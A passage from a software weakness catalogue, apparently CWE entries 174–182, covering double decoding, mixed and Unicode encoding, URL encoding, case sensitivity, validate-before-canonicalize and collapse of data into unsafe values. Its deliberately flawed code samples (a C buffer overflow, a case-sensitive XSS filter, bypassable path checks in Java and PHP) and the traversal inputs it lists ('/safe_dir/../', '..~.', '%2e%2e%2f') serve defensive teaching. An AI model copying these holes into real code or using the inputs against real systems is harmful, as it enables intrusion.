Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		172	Encoding Error	<b>699</b>	333
CanPrecede		289	Authentication Bypass by Alternate Name	1000	513
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation	<b>888</b>	1390
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Alternate Encoding

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
52	Embedding NULL Bytes	
53	Postfix, Null Terminate, and Backslash	
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
71	Using Unicode Encoding to Bypass Validation Logic	
72	URL Encoding	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
267	Leverage Alternate Encoding	

## CWE-174: Double Decoding of the Same Data

**Weakness ID:** 174 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The software decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences**

**Access Control**  
**Confidentiality**  
**Availability**  
**Integrity**  
**Other**  
**Bypass protection mechanism**  
**Execute unauthorized code or commands**  
**Varies by context**

### Observed Examples

Reference	Description
CVE-2001-0333	Directory traversal using double encoding.
CVE-2004-1315	Forum software improperly URL decodes the highlight parameter when extracting text to highlight, which allows remote attackers to execute arbitrary PHP code by double-encoding the highlight value so that special characters are inserted into the result.
CVE-2004-1938	"%2527" (double-encoded single quote) used in SQL injection.
CVE-2004-1939	XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F)
CVE-2005-0054	Browser executes HTML at higher privileges via URL with hostnames that are double hex encoded, which are decoded twice to generate a malicious hostname.
CVE-2005-1945	Double hex-encoded data.

### Potential Mitigations

#### Architecture and Design

##### Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Implementation

##### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Implementation





##### Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf		172	Encoding Error	<b>699</b>	333 1000
ChildOf		675	Duplicate Operations on Resource	<b>1000</b>	1043
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation	<b>888</b>	1390
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

**Research Gaps**

Probably under-studied.

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Double Encoding

## CWE-175: Improper Handling of Mixed Encoding

Weakness ID: 175 (*Weakness Variant*)

Status: Draft

**Description****Summary**

The software does not properly handle when the same input uses several different (mixed) encodings.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences****Integrity****Unexpected state****Potential Mitigations****Architecture and Design****Input Validation**

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.




**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		172	Encoding Error	<input checked="" type="checkbox"/>	699 1000 333
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation	<input checked="" type="checkbox"/>	888 1390
MemberOf		884	<i>CWE Cross-section</i>	<input checked="" type="checkbox"/>	884 1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Mixed Encoding

## CWE-176: Improper Handling of Unicode Encoding

**Weakness ID:** 176 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The software does not properly handle when an input contains Unicode encoding.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

**Common Consequences**



**Integrity****Unexpected state****Demonstrative Examples**

Windows provides the `MultiByteToWideChar()`, `WideCharToMultiByte()`, `UnicodeToBytes()`, and `BytesToUnicode()` functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

**C Example:***Bad Code*

```
void getUserInfo(char *username, struct _USER_INFO_2 info){
    WCHAR unicodeUser[UNLEN+1];
    MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
    NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}
```

This function incorrectly passes the size of `unicodeUser` in bytes instead of characters. The call to `MultiByteToWideChar()` can therefore write up to  $(UNLEN+1)*sizeof(WCHAR)$  wide characters, or  $(UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR)$  bytes, to the `unicodeUser` array, which has only  $(UNLEN+1)*sizeof(WCHAR)$  bytes allocated.

If the username string contains more than `UNLEN` characters, the call to `MultiByteToWideChar()` will overflow the buffer `unicodeUser`.

**Observed Examples**

Reference	Description
CVE-2000-0884	Server allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain Unicode encoded characters.
CVE-2001-0669	Overlaps interaction error.
CVE-2001-0709	Server allows a remote attacker to obtain source code of ASP files via a URL encoded with Unicode.

**Potential Mitigations****Architecture and Design****Input Validation**

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.






When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		172	Encoding Error	<b>699</b> <b>1000</b>	333
ChildOf		747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	<b>734</b>	1137
ChildOf		883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	<b>868</b>	1318
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation	<b>888</b>	1390

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Unicode Encoding
CERT C Secure Coding	MSC10-C	Character Encoding - UTF8 Related Issues
CERT C++ Secure Coding	MSC10-CPP	Character Encoding - UTF8 Related Issues

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
71	Using Unicode Encoding to Bypass Validation Logic	

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Character Sets and Unicode", Page 446.. 1st Edition. Addison Wesley, 2006.

## CWE-177: Improper Handling of URL Encoding (Hex Encoding)

Weakness ID: 177 (Weakness Variant)

Status: Draft

**Description****Summary**

The software does not properly handle when all or part of an input has been URL encoded.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- All

## Common Consequences

### Integrity

#### Unexpected state

## Observed Examples

Reference	Description
CVE-2000-0671	"%00" (encoded null)
CVE-2000-0900	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"
CVE-2001-0693	"%20" (encoded space)
CVE-2001-0778	"%20" (encoded space)
CVE-2001-1140	"%00" (encoded null)
CVE-2002-1025	"%00" (encoded null)
CVE-2002-1031	"%00" (encoded null)
CVE-2002-1213	"%2f" (encoded slash)
CVE-2002-1291	"%00" (encoded null)
CVE-2002-1575	"%0a" (overlaps CRLF)
CVE-2002-1831	Crash via hex-encoded space "%20".
CVE-2003-0424	"%20" (encoded space)
CVE-2004-0072	"%5c" (encoded backslash) and "%2e" (encoded dot) sequences
CVE-2004-0189	"%00" (encoded null)
CVE-2004-0280	"%20" (encoded space)
CVE-2004-0760	"%00" (encoded null)
CVE-2004-0847	"%5c" (encoded backslash)
CVE-2004-2121	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"
CVE-2005-2256	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"

## Potential Mitigations

### Architecture and Design

#### Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		172	Encoding Error	<input checked="" type="checkbox"/>	699 1000

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	992	SFP Secondary Cluster: Faulty Input Transformation	<b>888</b>	1390

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	URL Encoding (Hex Encoding)

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic	
72	URL Encoding	
468	Generic Cross-Browser Cross-Domain Theft	

## CWE-178: Improper Handling of Case Sensitivity

**Weakness ID:** 178 (*Weakness Base*)

**Status:** Incomplete

### Description

#### Summary

The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

#### Extended Description

Improperly handled case sensitive data can lead to several possible consequences, including:

- case-insensitive passwords reducing the size of the key space, making brute force attacks easier
- bypassing filters or access controls using alternate names
- multiple interpretation errors using alternate names.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Demonstrative Examples

In the following example, an XSS neutralization method replaces script tags in user supplied input with a safe equivalent:

#### Java Example:

*Bad Code*

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete blacklist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

### Observed Examples

Reference	Description
CVE-1999-0239	Directories may be listed because lower case web requests are not properly handled by the server.
CVE-2000-0497	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2000-0498	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2000-0499	Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request.

Reference	Description
CVE-2001-0766	A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter.
CVE-2001-0795	Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names.
CVE-2001-1238	Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped.
CVE-2002-0485	Leads to interpretation error
CVE-2002-1820	Mixed case problem allows "admin" to have "Admin" rights (alternate name property).
CVE-2002-2119	Case insensitive passwords lead to search space reduction.
CVE-2003-0411	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
CVE-2004-1083	Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization.
CVE-2004-2154	Mixed upper/lowercase allows bypass of ACLs.
CVE-2004-2214	HTTP server allows bypass of access restrictions using URIs with mixed case.
CVE-2005-0269	File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters.
CVE-2005-4509	Bypass malicious script detection by using tokens that aren't case sensitive.
CVE-2007-3365	Chain: uppercase file extensions causes web server to return script source code instead of executing the script.

## Potential Mitigations

### Architecture and Design

#### Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."




Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Implementation

#### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors		699 332
CanPrecede		289	Authentication Bypass by Alternate Name		1000 513

Nature	Type	ID	Name	✓	Page
CanPrecede	Ⓟ	433	Unparsed Raw Web Content Delivery	1000	741
ChildOf	ⓐ	632	Weaknesses that Affect Files or Directories	631	981
ChildOf	ⓐ	706	Use of Incorrectly-Resolved Name or Reference	1000	1106
ChildOf	ⓐ	992	SFP Secondary Cluster: Faulty Input Transformation	888	1390

### Research Gaps

These are probably under-studied in Windows and Mac environments, where file names are case-insensitive and thus are subject to equivalence manipulations involving case.

### Affected Resources

- File/Directory

### Functional Areas

- File Processing, Credentials

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Case Sensitivity (lowercase, uppercase, mixed case)

## CWE-179: Incorrect Behavior Order: Early Validation

Weakness ID: 179 (*Weakness Base*)

Status: Incomplete

### Description

#### Summary

The software validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.

#### Extended Description

Software needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Modes of Introduction

Since early validation errors usually arise from improperly implemented defensive mechanisms, it is likely that these will be introduced more frequently as secure programming becomes implemented more widely.

### Common Consequences

#### Access Control

#### Integrity

#### Bypass protection mechanism

#### Execute unauthorized code or commands

An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.

### Demonstrative Examples

#### Example 1:

The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string `"/safe_dir/"`.

#### Java Example:

*Bad Code*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
```

```
{
  File f = new File(path);
  return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/.."` that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just `"/`.

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

**Java Example:***Good Code*

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
  return f.getCanonicalPath();
}
```

**Example 2:**

This script creates a subdirectory within a user directory and sets the user as the owner.

**PHP Example:***Bad Code*

```
function createDir($userName,$dirName){
  $userDir = '/users/'. $userName;
  if(strpos($dirName,'..') !== false){
    echo 'Directory name contains invalid sequence';
    return;
  }
  //filter out '~' because other scripts identify user directories by this prefix
  $dirName = str_replace('~','',$dirName);
  $newDir = $userDir . $dirName;
  mkdir($newDir, 0700);
  chown($newDir,$userName);
}
```

While the script attempts to screen for `..'` sequences, an attacker can submit a directory path including `..~.`, which will then become `..` after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

**Observed Examples**

Reference	Description
CVE-2000-0191	Overlaps "fakechild/./realchild"
CVE-2002-0433	Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character.
CVE-2002-0802	Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks.
CVE-2002-0934	Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
CVE-2003-0282	Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
CVE-2003-0332	Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension.
CVE-2004-2363	Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed.

**Potential Mitigations**



## Implementation

### Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors		699 332
ChildOf		693	Protection Mechanism Failure		1000 1074
ChildOf		696	Incorrect Behavior Order		1000 1077
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input		711 1116
ChildOf		992	SFP Secondary Cluster: Faulty Input Transformation		888 1390
ParentOf		180	<i>Incorrect Behavior Order: Validate Before Canonicalize</i>		1000 347
ParentOf		181	<i>Incorrect Behavior Order: Validate Before Filter</i>		1000 349
MemberOf		884	<i>CWE Cross-section</i>		884 1319

### Research Gaps

These errors are mostly reported in path traversal vulnerabilities, but the concept applies whenever validation occurs.

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Early Validation Errors

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
43	Exploiting Multiple Input Interpretation Layers	
71	Using Unicode Encoding to Bypass Validation Logic	

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Escaping Metacharacters", Page 439.. 1st Edition. Addison Wesley. 2006.

# CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

**Weakness ID:** 180 (*Weakness Base*)**Status:** Draft

## Description

### Summary

The software validates input before it is canonicalized, which prevents the software from detecting data that becomes invalid after the canonicalization step.

### Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Demonstrative Examples

The following code attempts to validate a given input path by checking it against a whitelist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string `"/safe_dir/"`.

**Java Example:***Bad Code*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/../"` that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just `"/"`.

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

**Java Example:***Good Code*

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

**Observed Examples**

Reference	Description
CVE-2000-0191	Overlaps "fakechild/./realchild"
CVE-2002-0433	Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character.
CVE-2002-0802	Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks.
CVE-2003-0332	Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension.
CVE-2004-2363	Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed.

**Potential Mitigations****Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	<b>C</b>	171	Cleansing, Canonicalization, and Comparison Errors	<b>699</b>	332
ChildOf	<b>B</b>	179	Incorrect Behavior Order: Early Validation	<b>1000</b>	345
ChildOf	<b>C</b>	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf	<b>C</b>	845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	<b>844</b>	1291
ChildOf	<b>C</b>	992	SFP Secondary Cluster: Faulty Input Transformation	<b>888</b>	1390

**Relationship Notes**

This overlaps other categories.

**Functional Areas**

- Non-specific

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Validate-Before-Canonicalize
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT Java Secure Coding	IDS01-J		Normalize strings before validating them

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
4	Using Alternative IP Address Encodings	
71	Using Unicode Encoding to Bypass Validation Logic	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
267	Leverage Alternate Encoding	

# CWE-181: Incorrect Behavior Order: Validate Before Filter

**Weakness ID:** 181 (*Weakness Base*)**Status:** Draft

## Description

### Summary

The software validates data before it has been filtered, which prevents the software from detecting data that becomes invalid after the filtering step.

### Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

## Alternate Terms

**Validate-before-cleanse**

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Access Control

### Bypass protection mechanism

## Demonstrative Examples

This script creates a subdirectory within a user directory and sets the user as the owner.

### PHP Example:

*Bad Code*

```
function createDir($userName,$dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```

While the script attempts to screen for '..' sequences, an attacker can submit a directory path including "..~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

## Observed Examples

Reference	Description
CVE-2002-0934	Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.
CVE-2003-0282	Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence.

## Potential Mitigations

### Implementation

### Architecture and Design

Inputs should be decoded and canonicalized to the application's current internal representation before being filtered.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	171	Cleansing, Canonicalization, and Comparison Errors	699	332
ChildOf	B	179	Incorrect Behavior Order: Early Validation	1000	345
ChildOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1116
ChildOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1390

## Research Gaps

This category is probably under-studied.

## Functional Areas

- Protection Mechanism

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Validate-Before-Filter
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters	
43	Exploiting Multiple Input Interpretation Layers	
78	Using Escaped Slashes in Alternate Encoding	
79	Using Slashes in Alternate Encoding	
80	Using UTF-8 Encoding to Bypass Validation Logic	
267	Leverage Alternate Encoding	

# CWE-182: Collapse of Data into Unsafe Value

Weakness ID: 182 (Weakness Base)

Status: Draft

## Description

### Summary

The software filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Access Control

### Bypass protection mechanism

## Observed Examples

Reference	Description
CVE-2001-1157	XSS protection mechanism strips a <script> sequence that is nested in another <script> sequence.
CVE-2002-0325	".../.../" collapsed to "..." due to removal of "/" in web server.

Reference	Description
CVE-2002-0784	chain: HTTP server protects against "." but allows "." variants such as "////./.../". If the server removes "/.." sequences, the result would collapse into an unsafe value "////./" (CWE-182).
CVE-2004-0815	"./.../" in pathname collapses to absolute path.
CVE-2005-2169	MFV. Regular expression intended to protect against directory traversal reduces ".../.../" to ".../".
CVE-2005-3123	"./.../.../.../" is collapsed into ".../..." after ".." and "/" sequences are removed.

## Potential Mitigations

### Architecture and Design

#### Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

### Implementation

#### Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

